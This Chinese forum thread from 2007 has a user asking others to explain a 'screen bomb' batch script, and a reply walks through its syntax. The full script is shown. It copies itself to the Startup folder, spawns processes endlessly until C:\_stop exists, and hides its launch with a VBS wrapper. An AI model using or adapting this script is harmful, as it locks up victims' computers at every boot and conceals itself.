Board logo

标题: 一些代码中的问题,求教 [打印本页]

作者: araise     时间: 2007-9-4 12:21    标题: 一些代码中的问题,求教

屏幕炸弹的代码
在这里,哪里是使开机自动运行?
我曾亲自尝试过,但看不出来,代码如下:

@echo off
if not exist "%HOMEPATH%\..\All Users\「开始」菜单\程序\启动\power.bat" copy %~fs0 "%HOMEPATH%\..\All Users\「开始」菜单\程序\启动\power.bat">nul               ???此处 >nul 是什么意思

echo @echo off>%windir%\power.bat

echo if "%%1"=="" goto :end>>%windir%\power.bat

echo if exist C:\_stop goto :EOF>>%windir%\power.bat    ???此处 C:\_stop 是什么东西 ,尤其是这个”_“

echo start /B %%~fs0 exp>>%windir%\power.bat    ???此处 exp 是什么

echo :s>>%windir%\power.bat

echo if not exist C:\_stop goto s>>%windir%\power.bat

echo exit>>%windir%\power.bat

echo :end>>%windir%\power.bat

echo del %%~fs0>>%windir%\power.bat
echo set ws=CreateObject("WScript.Shell")>%windir%\power.vbs
echo ws.Run "%windir%\power.bat exp",0 >>%windir%\power.vbs    ???此处 exp 又是什么
WScript %windir%\power.vbs
del %windir%\power.vbs
set p=%~ps0
if not %p:~-3,2%==启动 del %~fs0
作者: wudixin96     时间: 2007-9-4 16:04
if not exist "%HOMEPATH%\..\All Users\「开始」菜单\程序\启动\power.bat" copy %~fs0 "%HOMEPATH%\..\All Users\「开始」菜单\程序\启动\power.bat">nul               

这里使该P加入启动文件夹,达到开机启动的目的、
>nul是屏蔽copy命令复制成功时的回显。


C:\_stop

是C盘下一名为_stop的文件


exp是该P带参数运行时的,第一个参数

两处的exp一样
作者: araise     时间: 2007-9-4 16:12
"exp是该P带参数运行时的,第一个参数"

是不是可以这样理解:一个命令在带有若干参数的情况下,只运行第一个参数》?

可能我的理解有错误,望指出
作者: wudixin96     时间: 2007-9-4 16:21
不是,带几个就运行几个。

看这句:echo if "%%1"=="" goto :end
其实是%1,不是%%1.

这句就是判断有没带参数。

power.bat exp
该P带参数运行时,exp就是第一个参数,如果后面还有的话,就是%2、%3等,以此类推,直到%9为止。
作者: araise     时间: 2007-9-4 16:41
恩恩恩,这个我明白了
连续的两个%表示执行时脱为一个%,此处也就是%1
我知道%0是指自身,那此处1%代表的是什么呢?他应该是一个变量吧,判断他是否为空如何判定他是否带参数呢?这变量为什么没有赋值

exp是一个参数我明白了,但这参数是什么用处呢
作者: wudixin96     时间: 2007-9-4 17:18
1%没见过

%1默认是第一个参数,如果%1为空的话,就表示没有带参数。

在该P里,实在没看出exp这个参数有什么用途。

应该仅起到是否带参数运行的作用,如果是没带参数运行的话,该P就自动退出
作者: araise     时间: 2007-9-4 19:12
呵呵,不好意思,那个是我打错了,本来就是%1
你这样说我就明白了,谢谢咯
作者: rqcwwkbg     时间: 2007-9-4 20:33
是这样吗?????